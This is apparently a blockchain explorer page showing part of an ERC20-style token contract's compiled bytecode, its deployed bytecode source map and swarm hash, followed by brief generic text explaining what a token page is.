161150d565b946020939093013593505050565b60008060006060848603121561126f578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156112b457858101830151858201604001528201611298565b818111156112c55783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561135f5784516001600160a01b03168352938301939183019160010161133a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611393576113936114f7565b500190565b6000826113b357634e487b7160e01b81526012600452602481fd5b500490565b600181815b808511156113f35781600019048211156113d9576113d96114f7565b808516156113e657918102915b93841c93908002906113bd565b509250929050565b6000610e0f60ff841683600082611414575060016102eb565b81611421575060006102eb565b816001811461143757600281146114415761145d565b60019150506102eb565b60ff841115611452576114526114f7565b50506001821b6102eb565b5060208310610133831016604e8410600b8410161715611480575081810a6102eb565b61148a83836113b8565b806000190482111561149e5761149e6114f7565b029392505050565b60008160001904831182151516156114c0576114c06114f7565b500290565b6000828210156114d7576114d76114f7565b500390565b60006000198214156114f0576114f06114f7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461152257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a2d3915c7de6a6ea23831e8286cb00646702de9591e2af35790dadbd4434d8c64736f6c63430008040033
Deployed Bytecode Sourcemap
3552:6858:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5385:83;;;;;;;;;;-1:-1:-1;5455:5:0;;;;;;;;;;;;-1:-1:-1;;;5455:5:0;;;;5385:83;;;;;;;:::i;:::-;;;;;;;;6226:161;;;;;;;;;;-1:-1:-1;6226:161:0;;;;;:::i;:::-;;:::i;:::-;;;3361:14:1;;3354:22;3336:41;;3324:2;3309:18;6226:161:0;3291:92:1;5662:99:0;;;;;;;;;;;;;:::i;:::-;;;7641:25:1;;;7629:2;7614:18;5662:99:0;7596:76:1;6395:317:0;;;;;;;;;;-1:-1:-1;6395:317:0;;;;;:::i;:::-;;:::i;5571:83::-;;;;;;;;;;-1:-1:-1;5571:83:0;;4170:1;8807:36:1;;8795:2;8780:18;5571:83:0;8762:87:1;5769:120:0;;;;;;;;;;-1:-1:-1;5769:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;5862:19:0;5835:7;5862:19;;;:10;:19;;;;;;;5769:120;3395:148;;;;;;;;;;;;;:::i;:::-;;3181:79;;;;;;;;;;-1:-1:-1;3219:7:0;3246:6;3181:79;;-1:-1:-1;;;;;3246:6:0;;;2213:51:1;;2201:2;2186:18;3181:79:0;2168:102:1;5476:87:0;;;;;;;;;;-1:-1:-1;5548:7:0;;;;;;;;;;;;-1:-1:-1;;;5548:7:0;;;;5476:87;;5072:305;;;;;;;;;;;;;:::i;5897:167::-;;;;;;;;;;-1:-1:-1;5897:167:0;;;;;:::i;:::-;;:::i;9367:309::-;;;;;;;;;;;;;:::i;6072:146::-;;;;;;;;;;-1:-1:-1;6072:146:0;;;;;:::i;:::-;-1:-1:-1;;;;;6180:21:0;;;6153:7;6180:21;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;6072:146;6226:161;6301:4;6318:39;1574:10;6341:7;6350:6;6318:8;:39::i;:::-;-1:-1:-1;6375:4:0;6226:161;;;;;:::o;5662:99::-;5715:7;4230:13;4170:1;4230:2;:13;:::i;:::-;4217:26;;:10;:26;:::i;:::-;5735:18;;5662:99;:::o;6395:317::-;6493:4;6510:36;6520:6;6528:9;6539:6;6510:9;:36::i;:::-;6558:124;6567:6;1574:10;6589:92;6630:6;6589:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6589:22:0;;;;;;:14;:22;;;;;;;;1574:10;6589:36;;;;;;;;;;:40;:92::i;:::-;6558:8;:124::i;:::-;-1:-1:-1;6700:4:0;6395:317;;;;;:::o;3395:148::-;3308:6;;-1:-1:-1;;;;;3308:6:0;1574:10;3308:22;3300:67;;;;-1:-1:-1;;;3300:67:0;;;;;;;:::i;:::-;;;;;;;;;3502:1:::1;3486:6:::0;;3465:40:::1;::::0;-1:-1:-1;;;;;3486:6:0;;::::1;::::0;3465:40:::1;::::0;3502:1;;3465:40:::1;3533:1;3516:19:::0;;-1:-1:-1;;;;;;3516:19:0::1;::::0;;3395:148::o;5072:305::-;3308:6;;-1:-1:-1;;;;;3308:6:0;1574:10;3308:22;3300:67;;;;-1:-1:-1;;;3300:67:0;;;;;;;:::i;:::-;5127:11:::1;:69:::0;;-1:-1:-1;;;;;;5127:69:0::1;::::0;::::1;::::0;;;;5207:58:::1;::::0;5224:4:::1;::::0;-1:-1:-1;;;;;5127:69:0;5239:11;;::::1;;4230:13;4170:1;4230:2;:13;:::i;:::-;4217:26;::::0;:10:::1;:26;:::i;5207:58::-;5301:11;;;;;;;;;-1:-1:-1::0;;;;;5301:11:0::1;-1:-1:-1::0;;;;;5301:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5288:46:0::1;;5343:4;5350:11;;;;;;;;;-1:-1:-1::0;;;;;5350:11:0::1;-1:-1:-1::0;;;;;5350:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5288:81;::::0;-1:-1:-1;;;;;;5288:81:0::1;::::0;;;;;;-1:-1:-1;;;;;2505:15:1;;;5288:81:0::1;::::0;::::1;2487:34:1::0;2557:15;;2537:18;;;2530:43;2422:18;;5288:81:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5276:9;:93:::0;;-1:-1:-1;;;;;;5276:93:0::1;-1:-1:-1::0;;;;;5276:93:0;;;::::1;::::0;;;::::1;::::0;;5072:305::o;5897:167::-;5975:4;5992:42;1574:10;6016:9;6027:6;5992:9;:42::i;9367:309::-;3308:6;;-1:-1:-1;;;;;3308:6:0;1574:10;3308:22;3300:67;;;;-1:-1:-1;;;3300:67:0;;;;;;;:::i;:::-;9431:13:::1;::::0;::::1;::::0;::::1;;;9430:14;9422:49;;;::::0;-1:-1:-1;;;9422:49:0;;7345:2:1;9422:49:0::1;::::0;::::1;7327:21:1::0;7384:2;7364:18;;;7357:30;7423:25;7403:18;;;7396:53;7466:18;;9422:49:0::1;7317:173:1::0;9422:49:0::1;9482:11;::::0;9548:4:::1;5835:7:::0;5862:19;;;:10;:19;;;;;;9482:11;;;::::1;-1:-1:-1::0;;;;;9482:11:0::1;::::0;:27:::1;::::0;9517:21:::1;::::0;9579:1:::1;9581::::0;9583:7:::1;3219::::0;3246:6;-1:-1:-1;;;;;3246:6:0;;3181:79;9583:7:::1;9482:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9482:125:0;;;-1:-1:-1;;;;;2943:15:1;;;9482:125:0::1;::::0;::::1;2925:34:1::0;2975:18;;;2968:34;;;;3018:18;;;3011:34;;;;3061:18;;;3054:34;3125:15;;;3104:19;;;3097:44;9591:15:0::1;3157:19:1::0;;;3150:35;2859:19;;9482:125:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9618:12:0::1;:19:::0;;-1:-1:-1;;9648:20:0;;;;;-1:-1:-1;9367:309:0:o;6720:338::-;-1:-1:-1;;;;;6813:19:0;;6805:68;;;;-1:-1:-1;;;6805:68:0;;6940:2:1;6805:68:0;;;6922:21:1;6979:2;6959:18;;;6952:30;7018:34;6998:18;;;6991:62;-1:-1:-1;;;7069:18:1;;;7062:34;7113:19;;6805:68:0;6912:226:1;6805:68:0;-1:-1:-1;;;;;6892:21:0;;6884:68;;;;-1:-1:-1;;;6884:68:0;;4602:2:1;6884:68:0;;;4584:21:1;4641:2;4621:18;;;4614:30;4680:34;4660:18;;;4653:62;-1:-1:-1;;;4731:18:1;;;4724:32;4773:19;;6884:68:0;4574:224:1;6884:68:0;-1:-1:-1;;;;;6963:21:0;;;;;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;:39;;;7018:32;;7641:25:1;;;7018:32:0;;7614:18:1;7018:32:0;;;;;;;6720:338;;;:::o;7066:433::-;-1:-1:-1;;;;;7157:19:0;;7149:69;;;;-1:-1:-1;;;7149:69:0;;6534:2:1;7149:69:0;;;6516:21:1;6573:2;6553:18;;;6546:30;6612:34;6592:18;;;6585:62;-1:-1:-1;;;6663:18:1;;;6656:35;6708:19;;7149:69:0;6506:227:1;7149:69:0;-1:-1:-1;;;;;7237:19:0;;7229:67;;;;-1:-1:-1;;;7229:67:0;;4198:2:1;7229:67:0;;;4180:21:1;4237:2;4217:18;;;4210:30;4276:34;4256:18;;;4249:62;-1:-1:-1;;;4327:18:1;;;4320:33;4370:19;;7229:67:0;4170:225:1;7229:67:0;7323:1;7315:5;:9;7307:63;;;;-1:-1:-1;;;7307:63:0;;6124:2:1;7307:63:0;;;6106:21:1;6163:2;6143:18;;;6136:30;6202:34;6182:18;;;6175:62;-1:-1:-1;;;6253:18:1;;;6246:39;6302:19;;7307:63:0;6096:231:1;7307:63:0;7383:15;7401:33;7414:5;7421;7428;7401:12;:33::i;:::-;7383:51;;7447:44;7462:5;7469;7476;7483:7;7447:14;:44::i;:::-;7066:433;;;;:::o;2075:190::-;2161:7;2197:12;2189:6;;;;2181:29;;;;-1:-1:-1;;;2181:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2221:9:0;2233:5;2237:1;2233;:5;:::i;:::-;2221:17;2075:190;-1:-1:-1;;;;;2075:190:0:o;8175:1184::-;8258:7;;8319;3219;3246:6;-1:-1:-1;;;;;3246:6:0;;3181:79;8319:7;-1:-1:-1;;;;;8310:16:0;:5;-1:-1:-1;;;;;8310:16:0;;;:36;;;;-1:-1:-1;3219:7:0;3246:6;-1:-1:-1;;;;;8330:16:0;;;3246:6;;8330:16;;8310:36;8306:979;;;8373:75;8444:3;8373:66;8394:15;;8384:9;;:25;8383:55;;8424:14;;8383:55;;;8411:12;;8383:55;8373:5;;:9;:66::i;:::-;:70;;:75::i;:::-;8478:9;;8363:85;;-1:-1:-1;;;;;;8469:18:0;;;8478:9;;8469:18;:51;;;;-1:-1:-1;8508:11:0;;-1:-1:-1;;;;;8491:29:0;;;8508:11;;;;;8491:29;;8469:51;:81;;;;-1:-1:-1;;;;;;8526:24:0;;;;;;:17;:24;;;;;;;;8524:26;8469:81;8465:133;;;8571:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8465:133;8626:9;;-1:-1:-1;;;;;8617:18:0;;;8626:9;;8617:18;:43;;;;-1:-1:-1;;;;;;8639:21:0;;8655:4;8639:21;;8617:43;8614:171;;;8691:78;8765:3;8691:69;8712:16;;8702:9;;:26;8701:58;;8744:15;;8701:58;;;8730:13;;8691:5;;:9;:69::i;:78::-;8681:88;;8614:171;8841:4;8801:19;5862;;;:10;:19;;;;;;8868:6;;;;8867:7;:29;;;;-1:-1:-1;8887:9:0;;-1:-1:-1;;;;;8878:18:0;;;8887:9;;8878:18;8867:29;:45;;;;-1:-1:-1;8900:12:0;;;;;;;8867:45;:79;;;;;8928:18;;8916:9;;:30;8867:79;8863:411;;;8984:14;;8970:11;:28;8967:120;;;9017:70;9034:52;9042:5;9049:36;9057:11;9070:14;;9049:7;:36::i;:::-;9034:7;:52::i;:::-;9017:16;:70::i;:::-;9124:21;9205:34;9217:21;9205:11;:34::i;:::-;8863:411;;8306:979;;9295:40;9304:5;9311:16;9317:9;9311:5;:16::i;:::-;9329:5;9295:8;:40::i;:::-;9344:7;8175:1184;-1:-1:-1;;;;8175:1184:0:o;7507:467::-;7616:11;;7613:163;;7688:4;7669:25;;;;:10;:25;;;;;;:38;;7699:7;7669:29;:38::i;:::-;7660:4;7641:25;;;;:10;:25;;;;;;;:66;;;;7725:39;;-1:-1:-1;;;;;7725:39:0;;;;;;;7756:7;7641:25:1;;7629:2;7614:18;;7596:76;7725:39:0;;;;;;;;7613:163;-1:-1:-1;;;;;7808:17:0;;;;;;:10;:17;;;;;;:28;;7830:5;7808:21;:28::i;:::-;-1:-1:-1;;;;;7788:17:0;;;;;;:10;:17;;;;;:48;7867:41;7889:18;:5;7899:7;7889:9;:18::i;:::-;-1:-1:-1;;;;;7867:17:0;;;;;;:10;:17;;;;;;;:21;:41::i;:::-;-1:-1:-1;;;;;7847:17:0;;;;;;;:10;:17;;;;;:61;;;;7924:42;;;7947:18;:5;7957:7;7947:9;:18::i;:::-;7924:42;;7641:25:1;;;7629:2;7614:18;7924:42:0;;;;;;;7507:467;;;;:::o;2273:246::-;2331:7;2355:6;2351:47;;-1:-1:-1;2385:1:0;2378:8;;2351:47;2408:9;2420:5;2424:1;2420;:5;:::i;:::-;2408:17;-1:-1:-1;2453:1:0;2444:5;2448:1;2408:17;2444:5;:::i;:::-;:10;2436:56;;;;-1:-1:-1;;;2436:56:0;;5361:2:1;2436:56:0;;;5343:21:1;5400:2;5380:18;;;5373:30;5439:34;5419:18;;;5412:62;-1:-1:-1;;;5490:18:1;;;5483:31;5531:19;;2436:56:0;5333:223:1;2436:56:0;2510:1;2273:246;-1:-1:-1;;;2273:246:0:o;2527:132::-;2585:7;2612:39;2616:1;2619;2612:39;;;;;;;;;;;;;;;;;:3;:39::i;9684:103::-;9745:7;9773:1;9771;:3;9770:9;;9778:1;9770:9;;;-1:-1:-1;9776:1:0;9684:103;-1:-1:-1;9684:103:0:o;9942:465::-;4638:6;:13;;-1:-1:-1;;4638:13:0;4647:4;4638:13;;;10042:16:::1;::::0;;10056:1:::1;10042:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10042:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10042:16:0::1;10018:40;;10087:4;10069;10074:1;10069:7;;;;;;-1:-1:-1::0;;;10069:7:0::1;;;;;;;;;;;;;;:23;-1:-1:-1::0;;;;;10069:23:0::1;;;-1:-1:-1::0;;;;;10069:23:0::1;;;::::0;::::1;10113:11;;;;;;;;;-1:-1:-1::0;;;;;10113:11:0::1;-1:-1:-1::0;;;;;10113:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10103:4;10108:1;10103:7;;;;;;-1:-1:-1::0;;;10103:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;10103:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10174:11:::1;::::0;10142:56:::1;::::0;10159:4:::1;::::0;10174:11;;::::1;;10188:9:::0;10142:8:::1;:56::i;:::-;10209:11;::::0;:190:::1;::::0;-1:-1:-1;;;10209:190:0;;:11;;;::::1;-1:-1:-1::0;;;;;10209:11:0::1;::::0;:62:::1;::::0;:190:::1;::::0;10286:9;;10310:1:::1;::::0;10326:4;;10353::::1;::::0;10373:15:::1;::::0;10209:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4674:6:0;:14;;-1:-1:-1;;4674:14:0;;;-1:-1:-1;;;;9942:465:0:o;9795:101::-;9859:11;;9851:37;;-1:-1:-1;;;;;9859:11:0;;;;9851:37;;;;;9881:6;;9859:11;9851:37;9859:11;9851:37;9881:6;9859:11;9851:37;;;;;;;;;;;;;;;;;;;;;9795:101;:::o;7982:185::-;8038:7;8076:1;8061:12;:16;:49;;;;-1:-1:-1;;;;;;8081:29:0;;;;;;:17;:29;;;;;;;;8061:49;8058:72;;;-1:-1:-1;8120:10:0;7982:185::o;8058:72::-;-1:-1:-1;;8148:11:0;;-1:-1:-1;;;;;8148:11:0;;7982:185::o;1744:179::-;1802:7;;1834:5;1838:1;1834;:5;:::i;:::-;1822:17;;1863:1;1858;:6;;1850:46;;;;-1:-1:-1;;;1850:46:0;;5005:2:1;1850:46:0;;;4987:21:1;5044:2;5024:18;;;5017:30;5083:29;5063:18;;;5056:57;5130:18;;1850:46:0;4977:177:1;1931:136:0;1989:7;2016:43;2020:1;2023;2016:43;;;;;;;;;;;;;;;;;:3;:43::i;2667:189::-;2753:7;2788:12;2781:5;2773:28;;;;-1:-1:-1;;;2773:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2812:9:0;2824:5;2828:1;2824;:5;:::i;14:257:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:31;235:5;210:31;:::i;276:261::-;346:6;399:2;387:9;378:7;374:23;370:32;367:2;;;420:6;412;405:22;367:2;457:9;451:16;476:31;501:5;476:31;:::i;542:398::-;610:6;618;671:2;659:9;650:7;646:23;642:32;639:2;;;692:6;684;677:22;639:2;736:9;723:23;755:31;780:5;755:31;:::i;:::-;805:5;-1:-1:-1;862:2:1;847:18;;834:32;875:33;834:32;875:33;:::i;:::-;927:7;917:17;;;629:311;;;;;:::o;945:466::-;1022:6;1030;1038;1091:2;1079:9;1070:7;1066:23;1062:32;1059:2;;;1112:6;1104;1097:22;1059:2;1156:9;1143:23;1175:31;1200:5;1175:31;:::i;:::-;1225:5;-1:-1:-1;1282:2:1;1267:18;;1254:32;1295:33;1254:32;1295:33;:::i;:::-;1049:362;;1347:7;;-1:-1:-1;;;1401:2:1;1386:18;;;;1373:32;;1049:362::o;1416:325::-;1484:6;1492;1545:2;1533:9;1524:7;1520:23;1516:32;1513:2;;;1566:6;1558;1551:22;1513:2;1610:9;1597:23;1629:31;1654:5;1629:31;:::i;:::-;1679:5;1731:2;1716:18;;;;1703:32;;-1:-1:-1;;;1503:238:1:o;1746:316::-;1834:6;1842;1850;1903:2;1891:9;1882:7;1878:23;1874:32;1871:2;;;1924:6;1916;1909:22;1871:2;1958:9;1952:16;1942:26;;2008:2;1997:9;1993:18;1987:25;1977:35;;2052:2;2041:9;2037:18;2031:25;2021:35;;1861:201;;;;;:::o;3388:603::-;3500:4;3529:2;3558;3547:9;3540:21;3590:6;3584:13;3633:6;3628:2;3617:9;3613:18;3606:34;3658:4;3671:140;3685:6;3682:1;3679:13;3671:140;;;3780:14;;;3776:23;;3770:30;3746:17;;;3765:2;3742:26;3735:66;3700:10;;3671:140;;;3829:6;3826:1;3823:13;3820:2;;;3899:4;3894:2;3885:6;3874:9;3870:22;3866:31;3859:45;3820:2;-1:-1:-1;3975:2:1;3954:15;-1:-1:-1;;3950:29:1;3935:45;;;;3982:2;3931:54;;3509:482;-1:-1:-1;;;3509:482:1:o;5561:356::-;5763:2;5745:21;;;5782:18;;;5775:30;5841:34;5836:2;5821:18;;5814:62;5908:2;5893:18;;5735:182::o;7677:983::-;7939:4;7987:3;7976:9;7972:19;8018:6;8007:9;8000:25;8044:2;8082:6;8077:2;8066:9;8062:18;8055:34;8125:3;8120:2;8109:9;8105:18;8098:31;8149:6;8184;8178:13;8215:6;8207;8200:22;8253:3;8242:9;8238:19;8231:26;;8292:2;8284:6;8280:15;8266:29;;8313:4;8326:195;8340:6;8337:1;8334:13;8326:195;;;8405:13;;-1:-1:-1;;;;;8401:39:1;8389:52;;8496:15;;;;8461:12;;;;8437:1;8355:9;8326:195;;;-1:-1:-1;;;;;;;8577:32:1;;;;8572:2;8557:18;;8550:60;-1:-1:-1;;;8641:3:1;8626:19;8619:35;8538:3;7948:712;-1:-1:-1;;;7948:712:1:o;8854:128::-;8894:3;8925:1;8921:6;8918:1;8915:13;8912:2;;;8931:18;;:::i;:::-;-1:-1:-1;8967:9:1;;8902:80::o;8987:217::-;9027:1;9053;9043:2;;-1:-1:-1;;;9078:31:1;;9132:4;9129:1;9122:15;9160:4;9085:1;9150:15;9043:2;-1:-1:-1;9189:9:1;;9033:171::o;9209:422::-;9298:1;9341:5;9298:1;9355:270;9376:7;9366:8;9363:21;9355:270;;;9435:4;9431:1;9427:6;9423:17;9417:4;9414:27;9411:2;;;9444:18;;:::i;:::-;9494:7;9484:8;9480:22;9477:2;;;9514:16;;;;9477:2;9593:22;;;;9553:15;;;;9355:270;;;9359:3;9273:358;;;;;:::o;9636:140::-;9694:5;9723:47;9764:4;9754:8;9750:19;9744:4;9830:5;9860:8;9850:2;;-1:-1:-1;9901:1:1;9915:5;;9850:2;9949:4;9939:2;;-1:-1:-1;9986:1:1;10000:5;;9939:2;10031:4;10049:1;10044:59;;;;10117:1;10112:130;;;;10024:218;;10044:59;10074:1;10065:10;;10088:5;;;10112:130;10149:3;10139:8;10136:17;10133:2;;;10156:18;;:::i;:::-;-1:-1:-1;;10212:1:1;10198:16;;10227:5;;10024:218;;10326:2;10316:8;10313:16;10307:3;10301:4;10298:13;10294:36;10288:2;10278:8;10275:16;10270:2;10264:4;10261:12;10257:35;10254:77;10251:2;;;-1:-1:-1;10363:19:1;;;10395:5;;10251:2;10442:34;10467:8;10461:4;10442:34;:::i;:::-;10512:6;10508:1;10504:6;10500:19;10491:7;10488:32;10485:2;;;10523:18;;:::i;:::-;10561:20;;9840:747;-1:-1:-1;;;9840:747:1:o;10592:168::-;10632:7;10698:1;10694;10690:6;10686:14;10683:1;10680:21;10675:1;10668:9;10661:17;10657:45;10654:2;;;10705:18;;:::i;:::-;-1:-1:-1;10745:9:1;;10644:116::o;10765:125::-;10805:4;10833:1;10830;10827:8;10824:2;;;10838:18;;:::i;:::-;-1:-1:-1;10875:9:1;;10814:76::o;10895:135::-;10934:3;-1:-1:-1;;10955:17:1;;10952:2;;;10975:18;;:::i;:::-;-1:-1:-1;11022:1:1;11011:13;;10942:88::o;11035:127::-;11096:10;11091:3;11087:20;11084:1;11077:31;11127:4;11124:1;11117:15;11151:4;11148:1;11141:15;11167:131;-1:-1:-1;;;;;11242:31:1;;11232:42;;11222:2;;11288:1;11285;11278:12;11222:2;11212:86;:::o
Swarm Source
ipfs://6a2d3915c7de6a6ea23831e8286cb00646702de9591e2af35790dadbd4434d8c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.